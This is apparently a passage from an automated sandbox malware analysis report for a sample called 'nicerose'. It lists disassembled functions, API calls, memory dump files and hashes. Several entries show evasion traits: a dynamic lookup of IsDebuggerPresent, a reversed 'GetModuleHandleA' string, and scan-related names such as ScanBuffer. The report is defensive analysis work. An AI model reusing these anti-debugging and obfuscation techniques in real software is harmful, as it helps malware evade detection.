                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Value___vcrt_
                                                                                    • String ID:
                                                                                    • API String ID: 1426506684-0
                                                                                    • Opcode ID: 8fa3eba41d5dfcfa025b4cdbc1becdc984892f6557d94f52d480fd9577c81c63
                                                                                    • Instruction ID: 00ce1938a4c201eb7625074c4af8125a3ee8111043a5a0018d96ba6fad2b1d8c
                                                                                    • Opcode Fuzzy Hash: 8fa3eba41d5dfcfa025b4cdbc1becdc984892f6557d94f52d480fd9577c81c63
                                                                                    • Instruction Fuzzy Hash: E801A73660D3315EAB642F767CC5A6B2F96EB41775720073AF614560E0FFA18800A648
                                                                                    Function 02BBA9D8 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetThreadLocale.KERNEL32(?,00000000,02BBAA6F,?,?,00000000), ref: 02BBA9F0
                                                                                      • Part of subcall function 02BBA74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02BBA76A
                                                                                    • GetThreadLocale.KERNEL32(00000000,00000004,00000000,02BBAA6F,?,?,00000000), ref: 02BBAA20
                                                                                    • EnumCalendarInfoA.KERNEL32(Function_0000A924,00000000,00000000,00000004), ref: 02BBAA2B
                                                                                    • GetThreadLocale.KERNEL32(00000000,00000003,00000000,02BBAA6F,?,?,00000000), ref: 02BBAA49
                                                                                    • EnumCalendarInfoA.KERNEL32(Function_0000A960,00000000,00000000,00000003), ref: 02BBAA54
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Locale$InfoThread$CalendarEnum
                                                                                    • String ID:
                                                                                    • API String ID: 4102113445-0
                                                                                    • Opcode ID: 6772f05fb6eb34937cda7b795eca39717332064e4c908a439695799800f06dc0
                                                                                    • Instruction ID: 816a4e11c55069bc50b87da5c2d3e6af6a822447c9b97651f69d8bab4f219074
                                                                                    • Opcode Fuzzy Hash: 6772f05fb6eb34937cda7b795eca39717332064e4c908a439695799800f06dc0
                                                                                    • Instruction Fuzzy Hash: 6201A231A406586BF703E674CD12BFE739DDF47B24F9145E0F621A6AD0DAE49E008AA4
                                                                                    Function 02C5F128 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: 4ff6445dbd1c139c6c118283ff3a35b6f69cd7d79671e775af14f987f4430014
                                                                                    • Instruction ID: 983a96af5eab2376d0449ffb7f7e68333a4299a570036b13c3ec33da8eaa8772
                                                                                    • Opcode Fuzzy Hash: 4ff6445dbd1c139c6c118283ff3a35b6f69cd7d79671e775af14f987f4430014
                                                                                    • Instruction Fuzzy Hash: 6DF096324002647BD724EB69ED84C9B77DAAA467543A40809FC04D7900DB30F8C0AF5C
                                                                                    Function 02C64347 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __dosmaperr
                                                                                    • String ID: H
                                                                                    • API String ID: 2332233096-2852464175
                                                                                    • Opcode ID: 025001eace35e284d02f7f8ceb0d8143efc63f8ac6326f5556ede81aad0919f8
                                                                                    • Instruction ID: e28b4451940164a14f0f4639b1dff123c92e4fc38052a6cce8d9677357e5e510
                                                                                    • Opcode Fuzzy Hash: 025001eace35e284d02f7f8ceb0d8143efc63f8ac6326f5556ede81aad0919f8
                                                                                    • Instruction Fuzzy Hash: 3DA15A32A101548FCF3DEF68E885BBE7BA1EF46324F140169E815DB291DB318A06CB55
                                                                                    Function 02BBAA88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetThreadLocale.KERNEL32(?,00000000,02BBAC58,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02BBAAB7
                                                                                      • Part of subcall function 02BBA74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02BBA76A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Locale$InfoThread
                                                                                    • String ID: eeee$ggg$yyyy
                                                                                    • API String ID: 4232894706-1253427255
                                                                                    • Opcode ID: 98b6e9600cc581f135b2f56744b84541d5d3bb32ffbf9b09cb02dd9d7e2d972a
                                                                                    • Instruction ID: cbedcdb474be69d0113bd5f0fe406b6be9c9b0d907f72e83727731930b8a21f2
                                                                                    • Opcode Fuzzy Hash: 98b6e9600cc581f135b2f56744b84541d5d3bb32ffbf9b09cb02dd9d7e2d972a
                                                                                    • Instruction Fuzzy Hash: 2141F231B046154BD723AB69CCA02FEB3FBEF85201B6449E5D472C7745DAF4D906CA21
                                                                                    Function 02BC8020 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    • GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressProc
                                                                                    • String ID: AeldnaHeludoMteG$KernelBASE
                                                                                    • API String ID: 1883125708-1952140341
                                                                                    • Opcode ID: b2998bf32903ebcf8fe39f36de9307f35389548189a1b10f5940a4fa1df975bc
                                                                                    • Instruction ID: 41d5b2d6483705f62bf73bb2154f291c8b2ac08dc8e88a23b4cc015fe90de179
                                                                                    • Opcode Fuzzy Hash: b2998bf32903ebcf8fe39f36de9307f35389548189a1b10f5940a4fa1df975bc
                                                                                    • Instruction Fuzzy Hash: D4F09C71640304AFE702EFB4DC12AAE77BDFB4A710FA109E4F504D3610D6B46D10CA65
                                                                                    Function 02BCEB94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleW.KERNEL32(KernelBase,?,02BCEF98,UacInitialize,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,ScanString,02C1137C,02BDAFD8,Initialize), ref: 02BCEB9A
                                                                                    • GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02BCEBAC
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressHandleModuleProc
                                                                                    • String ID: IsDebuggerPresent$KernelBase
                                                                                    • API String ID: 1646373207-2367923768
                                                                                    • Opcode ID: e1d55b3a3e643efd10a4321256f8ac86c250111f68a96b45b67ead357c3d1c3e
                                                                                    • Instruction ID: 1eb21824417cedbfb79088d7e69389f832aed19ead30fb77fe52fd7ddd2c2532
                                                                                    • Opcode Fuzzy Hash: e1d55b3a3e643efd10a4321256f8ac86c250111f68a96b45b67ead357c3d1c3e
                                                                                    • Instruction Fuzzy Hash: D0D012B2B557505EBA003AF80CC4CBE03CD8B0552A3300EF9B023D20E2E6AACD125510
                                                                                    Function 02BBC3FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,?,02BDC10B,00000000,02BDC11E), ref: 02BBC402
                                                                                    • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02BBC413
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressHandleModuleProc
                                                                                    • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                                                    • API String ID: 1646373207-3712701948
                                                                                    • Opcode ID: 9a0d80fd34fd5287630ca204ae41ae92204eeaf3ce84eb66a50a9b4b0e93a2d8
                                                                                    • Instruction ID: 9a888e6ed52ccd6cf08a6d61feea2c0b45d6f354f99e19ff37645a07f7ab43ee
                                                                                    • Opcode Fuzzy Hash: 9a0d80fd34fd5287630ca204ae41ae92204eeaf3ce84eb66a50a9b4b0e93a2d8
                                                                                    • Instruction Fuzzy Hash: 66D09EA2A823025FE7039BB5ACA56F63E989F84745B4468F6E04296101EBF299144F94
                                                                                    Function 02C5A19F Relevance: 6.3, APIs: 4, Instructions: 305COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __alldvrm$_strrchr
                                                                                    • String ID:
                                                                                    • API String ID: 1036877536-0
                                                                                    • Opcode ID: 03e8336be6feeefa5c512672f5a0d1266db9fcb18614ce6fe0fce40636c8e9f5
                                                                                    • Instruction ID: f4219a1074118368a269ae5ad88b5699148676573ff0fe2084636ab9d2906dd4
                                                                                    • Opcode Fuzzy Hash: 03e8336be6feeefa5c512672f5a0d1266db9fcb18614ce6fe0fce40636c8e9f5
                                                                                    • Instruction Fuzzy Hash: 25A157729003A69FD7118F9AC8817BEBBE5EF95354F24426DDC999B281C334CAC1CB58
                                                                                    Function 02C5B4EF Relevance: 6.3, APIs: 4, Instructions: 300COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: b1a9ba8701dd1ff07f611dd49c6527d64924ec2b1001cab84c3fe07def6274ef
                                                                                    • Instruction ID: ef94e5539f0685b521bad99b6172ecdb21c3be9e77b86cefe05b84ed920566e0
                                                                                    • Opcode Fuzzy Hash: b1a9ba8701dd1ff07f611dd49c6527d64924ec2b1001cab84c3fe07def6274ef
                                                                                    • Instruction Fuzzy Hash: 25C1C170E042599FCB15DFA8D880BAEBFB1AF49308F084195EC54A7296C774DE81CF69
                                                                                    Function 02C5128D Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 708417122de2711bb2eb7b93dd9c5bc77eababb27f74811c5393ad6cf28abd82
                                                                                    • Instruction ID: b78300d9a767e45bfce6980d2a151e287d7d2d2e417fc3128f63215c65d73482
                                                                                    • Opcode Fuzzy Hash: 708417122de2711bb2eb7b93dd9c5bc77eababb27f74811c5393ad6cf28abd82
                                                                                    • Instruction Fuzzy Hash: EF412CB1A00714BFD7249F78CC45BAE7BEAEB88710F14452AF419DB680D7B1E5418F84
                                                                                    Function 02BBE170 Relevance: 6.1, APIs: 4, Instructions: 115COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02BBE21F
                                                                                    • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02BBE23B
                                                                                    • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02BBE2B2
                                                                                    • VariantClear.OLEAUT32(?), ref: 02BBE2DB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ArraySafe$Bound$ClearIndexVariant
                                                                                    • String ID:
                                                                                    • API String ID: 920484758-0
                                                                                    • Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                    • Instruction ID: 8016a508351a2a8ac750d70309f4538b4599bf9dc43ffb0259243a5ba8aa4230
                                                                                    • Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                    • Instruction Fuzzy Hash: 8341F775A0061E9FCB66DB58CC94BE9B3BDEF48204F4042E5E649A7251DAB4EF808F50
                                                                                    Function 02BBACC4 Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 02BBACE1
                                                                                    • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02BBAD05
                                                                                    • GetModuleFileNameA.KERNEL32(02BB0000,?,00000105), ref: 02BBAD20
                                                                                    • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02BBADB6
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 3990497365-0
                                                                                    • Opcode ID: 83a984eddd0b209f4cdcad82cc788cd7d7088f07c6c1e86f1e4543d24d054341
                                                                                    • Instruction ID: 685c5e7e37495fbc4f96b7b8116ca42559c715d840157ad3ad4919f2e7e8a3a6
                                                                                    • Opcode Fuzzy Hash: 83a984eddd0b209f4cdcad82cc788cd7d7088f07c6c1e86f1e4543d24d054341
                                                                                    • Instruction Fuzzy Hash: BD411971E002589BDB62DB68CC84BEAB7FDAF18301F4044E5A548E7241DBB49F84CF50
                                                                                    Function 02BBACC2 Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 02BBACE1
                                                                                    • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02BBAD05
                                                                                    • GetModuleFileNameA.KERNEL32(02BB0000,?,00000105), ref: 02BBAD20
                                                                                    • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02BBADB6
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 3990497365-0
                                                                                    • Opcode ID: 773413af2cf1c0e342a43220ac90fc1fde8f6e238b74301a36857e4693094574
